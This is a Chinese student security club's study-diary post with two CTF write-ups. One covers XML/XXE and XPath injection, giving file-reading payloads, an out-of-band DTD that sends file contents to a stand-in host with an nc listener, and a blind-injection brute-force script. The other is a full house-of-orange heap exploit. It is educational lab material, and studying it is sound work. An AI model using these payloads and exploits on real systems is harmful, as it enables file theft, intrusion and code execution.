皮蛋厂的学习日记系列为山东警察学院网安社成员日常学习分享,希望能与大家共同学习、共同进步~
-
2020级 Newiy_Gnaw | xml、XXE及XPath
-
前置知识-xml基础
-
XXE(XML External Entity)
-
XPath注入
-
学习参考
-
2020级 大能猫 | 34c3 ctf-300
-
前言
-
逆向分析
WEB
2020级 Newiy_Gnaw | xml、XXE及XPath
xml及xxe漏洞、XPath注入
前置知识-xml基础
参考学习:https://www.w3school.com.cn/xml/xml_intro.asp
❝
eXtensible Markup Language,可扩展标记语言,标准通用标记语言的子集,简称xml,是用来描述其他语言的语言。XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。
❝
xml的宗旨是传输数据,而不是显示数据。
❝
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
进一步理解xml
-
❝
XML 是一种 标记语言 ,很类似 HTML
-
❝
XML 的设计宗旨是 传输数据 ,而非显示数据
-
❝
XML 标签没有被预定义。您需要 自行定义标签 。
-
❝
XML 被设计为具有 自我描述性 。
❝
XML 被设计为传输和存储数据,其焦点是数据的内容。
❝
HTML 被设计用来显示数据,其焦点是数据的外观。
❝
HTML 旨在显示信息,而 XML 旨在传输信息。
xml基本语法
❝
所有 XML 元素都须有关闭标签。
❝
XML 标签对大小写敏感。
❝
XML 必须正确地嵌套。
❝
XML 文档必须有根元素。
❝
XML 的属性值须加引号。
实体引用(重要)
在 XML 中,一些字符拥有特殊的意义。
如果把字符 "<" 放在 XML 元素中,会发生错误,这是因为解析器会把它当作新元素的开始。
这样会产生 XML 错误:
<message>if salary < 1000 then</message>
为了避免这个错误,请用实体引用来代替 "<" 字符:
<message>if salary < 1000 then</message>
在 XML 中,有 5 个预定义的实体引用:
无法复制加载中的内容
注意:在xml中,只有字符 "<" 和 "&" 确实是非法的。大于号是合法的,但是用实体引用来代替它是一个好习惯。
注释
xml注释语法与html相似
<!-- -->
DTD
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。意思就是xml有一个自己的格式规范,这个规范就是由DTD控制。
DTD 可以在 XML 文档内声明,也可以外部引用。
DTD的构成
所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:
-
元素 -
属性 -
实体 -
PCDATA -
CDATA
DTD引入方式
内部DTD
实例
<?xml version="1.0"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>
外部DTD
使用外部DTD时,使用如下语法引入
<!DOCTYPE root-element SYSTEM "filename">
实例
<?xml version="1.0"?>
<!DOCTYPE root-element SYSTEM "test.dtd">
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>
test.dtd
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
查看页面源代码
PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。
不过,被解析的字符数据不应当包含任何&,<,或者>字符,需要用
&
<
>
实体来分别替换
CDATA意思是字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
DTD元素
无法复制加载中的内容
DTD属性
属性声明使用下列语法:
<!ATTLIST 元素名称 属性名称 属性类型 默认值>
DTD实例:
<!ATTLIST payment type CDATA "check">
xml实例:
<payment type="check" />
属性类型的选项:
无法复制加载中的内容
默认值参数可使用下列值:
无法复制加载中的内容
DTD实体(重要)
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对实体的引用。实体可在内部或者外部进行声明。
实体引用:
引用一个实体一般用以下语法:一个&+实体名称+一个; 即
&实体名称;
实体声明:
内部实体
<!ENTITY 实体名称 "实体的值">
外部实体
<!ENTITY 实体名称 SYSTEM "URL">
xxe主要是利用DTD引用外部实体导致的漏洞
参数实体
<!ENTITY %实体名称 "值">
or
<!ENTITY %实体名称 SYSTEM "URL">
内部实体举例
<?xml version="1.0"?>
<!DOCTYPE note[
<!ELEMENT note (name)>
<!ENTITY Newiy_Gnaw "Newiy_Gnaw">
]>
<note>
<name>&Newiy_Gnaw;</name>
</note>
参数实体+外部实体举例
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>
%name
(参数实体)是在DTD中被引用的,而
&name;
是在xml文档中被引用的。
XXE(XML External Entity)
❝
XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
读取任意文件
外部实体引入,有回显
例题:[NCTF2019]Fake XML cookbook
打开题目,是一个登录界面
随便输入账号密码,登陆抓包
构造恶意实体,读取文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123456</password></user>
成功读到
接着尝试读flag,一般在根目录
成功得到flag
外部实体引入,无回显
通过外部DTD的方式可以将内部参数实体的内容与外部DTD声明的实体的内容拼接起来。
利用payload来从目标主机读到文件内容,将文件内容作为url的一部分来请求本地监听的端口。
需要两个实体,一个是用协议请求文件,另一个实体是将这个文件的内容带出来。
但是 几乎所有xml解析器都不会解析同级实体的内容 。由于这个限制,就无法利用内部DTD,可以尝试外部DTD。
例题:ctfshow web374、375、376
payload:
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://xxx/test.dtd">
%aaa;
]>
<root>123</root>
test.dtd
<!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://xxx:9999/%file;'> ">
%dtd;
%xxe;
服务器开监听 nc -lvp 9999
内部实体引入
例题:[GoogleCTF2019 Quals]Bnv
打开题目
是一个网页,在city的下拉框里随便选择一个城市,点击submit,会回显不同的内容。但是没有什么信息
抓包看一下
发现会给/api/search 发送POST请求,发送的数据是json数据。( 这串数据的具体含义后来了解到是我们在盲文点上所选择的城市的代表,具体的可以去下面这个网址查看https://www.pharmabraille.com/pharmaceutical-braille/the-braille-alphabet/ 但是这串数据的含义与题目没有很大关系)
大佬说过有json数据的地方可能存在xxe
先把默认数据发送过去看看是否可以正常回显
可以正常回显
在此基础上修改 Content-Type为application/xml
可以看到有一个报错信息,意思应该是start标签没有找到第一行第一列。
因此加入
<?xml version="1.0" encoding="UTF-8"?>
这一行,并且写入DTD
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message
[
<!ENTITY xxe "1234010123502402340">
]>
<message>&xxe;</message>
可以看到报错为没有消息元素的声明。显然解析器需要在DTD中声明已定义的元素,有点像在使用变量之前声明变量。所以让我们给它想要的,我们要做的就是在DTD中声明消息,我们可以通过使用数据,指定名为message的元素来实现这一点,定义类型设置为PC数据,现在继续尝试。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message
[
<!ELEMENT message (#PCDATA)>
<!ENTITY xxe "1234010123502402340">
]>
<message>&xxe;</message>
可以看到成功回显,证明起作用了
下面测试是否能从内部向外部世界提出请求或者只是向我们选择的网站提出请求
为了测试这一点,我将使用Beeceptor,https://beeceptor.com/这是一个简单的服务,它为你提供一个子域,并快速而简单的保存向该网站发出的所有请求的日志。
添加一个外部实体来发出出口请求。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message
[
<!ELEMENT message (#PCDATA)>
<!ENTITY xxe "1234010123502402340">
<!ENTITY % remote-dtd SYSTEM "https://beeceptor.com/console/zzzzz">
%remote-dtd;
]>
<message>&xxe;</message>
未能加载外部实体。似乎不能加载任何外部DTD。
那么尝试加载一个文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message
[
<!ELEMENT message (#PCDATA)>
<!ENTITY xxe "1234010123502402340">
<!ENTITY % remote-dtd SYSTEM "/etc/passwd">
%remote-dtd;
]>
<message>&xxe;</message>
得到一个错误标记, 这意味着文件已经正确加载了,但由于它不是个格式良好的xml文件 所以它中断了。现在我们有了一种枚举文件名的方法,让我们看看是否可以找到/flag文件。
得到了同样的输出。这意味着标志就存在路由中,然后被标记为一个文件。我们所要做的就是以某种方式来读取它。但是怎么读取呢?
由于我们不被允许加载外部的DTD,那么尝试加载内部的DTD
现在需要找到一个内部文件。它是一个可以包含有效XML文件,并且以某种方式获取flag。
https://mohemiv.com/tags/xxe/
上面这篇博客有一篇,关于利用本地DTD文件和XXE的
博客文章本质上我们可以使用本地DTD文件的实体,但是我们需要在完全加载它之前对它进行定义。因为xml选择器将选择我们定义它的快速处理器。更多信息见文章
在block-post中也提到,Linux设备可能在/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd中有一个DTD文件。并且这个文件又一个名为ISOamsa的实体,所以我们可以使用它来写DTD代码。现在我们来制作DTD代码。
因为我们知道我们为这个例子,发送的输入是一个错误的文件名。
我们在响应中得到的文件名也与错误的文件名相同,这是可以被滥用的。
首先我们读取了所需文件的内容,它可以是一个/flag,它也可以使/etc/password,然后我们可以尝试读取另一份文件,但是我们要确保第二个是个假文件名是我们刚刚读取第一份文件的内容,显然这会给我们一个错误,因为没有文件名作为第一个文件的内容,在错误中我们得到了文件的名称,我们尝试阅读那些意味着,我们也会取回第一个文件的内容,因此使用本地DTD,通过XXE读取任意文件,让我们尝试这个阶段
最终payload:(注:别忘了把头部的Content-type改为application/xml,即不是原来的json数据,而是xml数据)
<?xml version="1.0"?>
<!DOCTYPE message[
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaaaa/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
得到flag
学习自https://blog.csdn.net/cjdgg/article/details/114420160
内网主机探测
例题:[NCTF2019]True XML cookbook
打开题目是一个登录页面
登录抓包
题目提示明显为xxe
本题为查看hosts文件从而攻击内网
首先读取文件,得到内网ip段
读取两个关键文件:/etc/hosts 和 /proc/net/arp
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hacker[
<!ENTITY a SYSTEM "file:///etc/passwd">
]>
<user><username>&a;</username><password>a</password></user>
或者
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hacker[
<!ENTITY a SYSTEM "file:///proc/net/arp">
]>
<user><username>&a;</username><password>a</password></user>
回显分别是
和
得到一个内网ip
然后访问该ip
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hacker[
<!ENTITY a SYSTEM "http://10.128.253.11/">
]>
<user><username>&a;</username><password>a</password></user>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hacker[
<!ENTITY a SYSTEM "http://10.106.213.11/">
]>
<user><username>&a;</username><password>a</password></user>
对c段ip进行扫描爆破,爆破出来最后一位为11
最后得到flag
XPath注入
XPath教程(菜鸟教程)https://www.runoob.com/xpath/xpath-tutorial.html
XPath注入https://www.tr0y.wang/2019/05/11/XPath%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/
普通注入
例题:[NPUCTF2020]ezlogin
打开是一个这样的登陆页面,且这个页面有一定时间限制,超过一定时间没登陆就需要刷新页面重新登录。
抓包
通过抓包内容看,是XPath知识点
登录时一个session只能存在一定时间
这里用到的是普通的注入
用大佬的脚本爆破
import requests
import string
import time
import re
session = requests.session()
base_url = 'you_address'
success = '??'
payload = "' or substring({target},{index},1)='{char}' or '"
chars = string.ascii_letters+string.digits
def get_csrf():
res = session.get(base_url, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36',
'Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993'}).text
return re.findall('<input.*value="(.*?)"./>', res)[0]
target = 'string(/*[1]/*[1]/*[2]/*[3])'
# username adm1n
# password cf7414b5bdb2e65ee43083f4ddbc4d9f
data = '<username>{username}</username><password>1</password><token>{token}</token>'
result = 'cf7414b5bdb2e65ee43'
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36',
'Content-Type': 'application/xml',
'Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993'}
for i in range(20, 35):
for j in chars:
time.sleep(0.2)
temp_payload = payload.format(target=target, index=str(i), char=j)
token = get_csrf()
temp_data = data.format(username=temp_payload, token=token)
res = session.post(url=base_url+'login.php',
data=temp_data, headers=headers)
# print(temp_data)
# print(res.text)
# print(len(res.text))
if len(res.text) == 5:
result += j
break
print(result)
账号为adm1n,密码为cf7414b5bdb2e65ee43083f4ddbc4d9f的用户,密码通过md5解密得到为gtfly123,然后我们用这个账号登录进去。注意登录时间限制,登的时候要快一点
登陆后查看源代码,发现
base64解码后得到flag is in /flag
用伪协议进行文件读取,php和base被过滤
用大小写绕过
?file=pHp://filter/convert.BAse64-encode/resource=/flag
查看源代码
base64解密得到flag
学习参考
xxe漏洞学习利用与总结https://www.cnblogs.com/r00tuser/p/7255939.html
未知攻焉知防——XXE漏洞攻防https://security.tencent.com/index.php/blog/msg/69
XPath注入指北https://www.tr0y.wang/2019/05/11/XPath%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/
Xpath注入学习(先知社区)https://xz.aliyun.com/t/7791
PWN
2020级 大能猫 | 34c3 ctf-300
前言
就是想复现。(可算是吧house of orange搞的透透的了)
逆向分析
例行检查
保护全开。
分析
经典的菜单题
增
只能malloc大小为0x300的堆块。
删
UAF
改
也只能写0x300
查
leak_libc
由于程序有UAF所以很好去leak,申请两个堆块,第二个防止第一个堆块与top chunk合并。
free第一个堆块之后会将堆块放入到unsortedbin中,由此可以leak。
add(0)
add(1)
delete(0)
show(0)
leak = uu64(r(6))
print hex(leak)
libc_base = leak - (0x7fa74e291b78 - 0x00007fa74decd000)
print hex(libc_base)
此时堆块的状态为:
leak_heap
利用unsortedbin链进行heap_addr的泄露
#leak_heap
add(0)
add(2)
add(3)
delete(2)
delete(0)
show(0)
heap_leak = uu64(r(6))
heap_base = heap_leak - 0x620
print hex(heap_base)
构造堆重叠
程序存在UAF漏洞,由于没有溢出,所以我们就可以利用UAF造成堆重叠,修改堆块的大小。
add(0)
add(1)
add(2)
delete(1)
payload = 'a'*0x2e0
payload += p64(0) + p64(0x311)
payload += p64(heap_base + 0x310) + p64(libc_leak)
edit(0,payload)
pl = p64(libc_leak) + p64(heap_base + 0x2f0)
edit(1,pl)
add(1)
add(4)#1
delete(1)
jump_table_addr = libc_base + libc.symbols['_IO_file_jumps'] + 0xc0
delete(1)之后,bin中只有这一个堆块。
payload = 'a'*0x2e0
payload += p64(0) + p64(0x311)
payload += p64(heap_base + 0x310) + p64(leak)
edit(0,payload)
在堆块0中构造出一个fake chunk头绕过检测。
利用uaf去修改heap1中的fd和bk
pl = p64(leak) + p64(heap_base + 0x2f0)
edit(1,pl)
这样的话,再申请一个堆块是heap1,再申请一个堆块申请到的就是我们构造的fake chunk了。
House Of Orange
之后我们就利用这个heap去进行house of orange
劫持IO_list_all的值在heap中伪造链表和其中的IO_FILE结构体emmmmmmmm,,原理在这:
House of orange - 安全客,安全资讯平台 (anquanke.com)
利用的是unsortedbin attack向IO_list_all中写入地址,然后是将heap1最后放入了smallbin中,构成了这样的调用链。
exp:
#encoding = utf-8
import sys
import time
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
context.os = 'linux'
binary = "300"
libcelf = "libc.so.6.300"
ip = ""
port = ""
local = 1
arm = 0
core = 64
og = [0x4342,0x3342]
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delimsss), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'x00'))
uu64 = lambda data :u64(data.ljust(8,'x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
if(local==1):
if(arm==1):
if(core==64):
p = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabi",binary])
elif(core==32):
p = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu/", binary])
else:
p = process(binary)
else:
p = remote(ip,port)
elf = ELF(binary)
libc = ELF(libcelf)
def choice(cho):
sla('4) freen',cho)
def gdb():
gdb.attach(p)
def add(slot):
choice('1')
sla('slot?',slot)
def delete(idx):
choice('4')
sla('slot?',idx)
def show(idx):
choice('3')
sla('slot? (0-9)n',idx)
def edit(idx,content):
choice('2')
sla('slot?',idx)
s(content)
def leak_libc(addr):
global libc_base,mh,fh,system,binsh_addr,_IO_2_1_stdout_,realloc
libc_base = addr - libc.sym['puts']
leak("libc base ",libc_base)
mh = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
realloc = libc_base + libc.sym['realloc']
fh = libc_base + libc.sym['__free_hook']
_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']
def leak_libcsearcher(name,addr):
global libc_base,system,binsh_addr
libc = LibcSearcher(str(name),addr)
libc_base = addr - libc.dump[str(name)]
leak("libc base ",libc_base)
system = libc_base + libc.dump['system']
binsh_addr = libc_base + libc.dump['str_bin_sh']
def got(name):
got_addr = elf.got[str(name)]
return got_addr
def plt(name):
plt_addr = elf.plt[str(name)]
return plt_addr
def pwn():
# leak_libc
add(0)
add(1)
delete(0)
show(0)
leak = uu64(r(6))
print hex(leak)
libc_base = leak - (0x7fa74e291b78 - 0x00007fa74decd000)
print hex(libc_base)
io_list_all_addr = libc_base + libc.symbols['_IO_list_all']
# leak_heap
add(0)
add(2)
add(3)
delete(2)
delete(0)
show(0)
heap_leak = uu64(r(6))
heap_base = heap_leak - 0x620
print hex(heap_base)
# clear heap
delete(1)
delete(3)
add(0)
add(1)
add(2)
delete(1)
payload = 'a'*0x2e0
payload += p64(0) + p64(0x311)
payload += p64(heap_base + 0x310) + p64(leak)
edit(0,payload)
pl = p64(leak) + p64(heap_base + 0x2f0)
edit(1,pl)
add(1)
add(4)#1
delete(1)
jump_table_addr = libc_base + libc.symbols['_IO_file_jumps'] + 0xc0
file_struct = p64(0)
file_struct += p64(0x61)
file_struct += p64(leak)
file_struct += p64(io_list_all_addr - 0x10)
file_struct += p64(2)
file_struct += p64(3)
file_struct = file_struct.ljust(0xd8, "x00")
file_struct += p64(jump_table_addr)
file_struct += p64(libc_base + 0x4557a)
payload = p64(0)*2 + file_struct
edit(4,payload)
add(5)
itr()
'''
i = 0
while 1:
i += 1
log.warn(str(i))
try:
pwn()
except Exception:
p.close()
if(local == 1):
p = process(binary)
else:
p = remote(ip,port)
continue
'''
if __name__ == '__main__':
pwn()
欢迎大家关注我们~
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论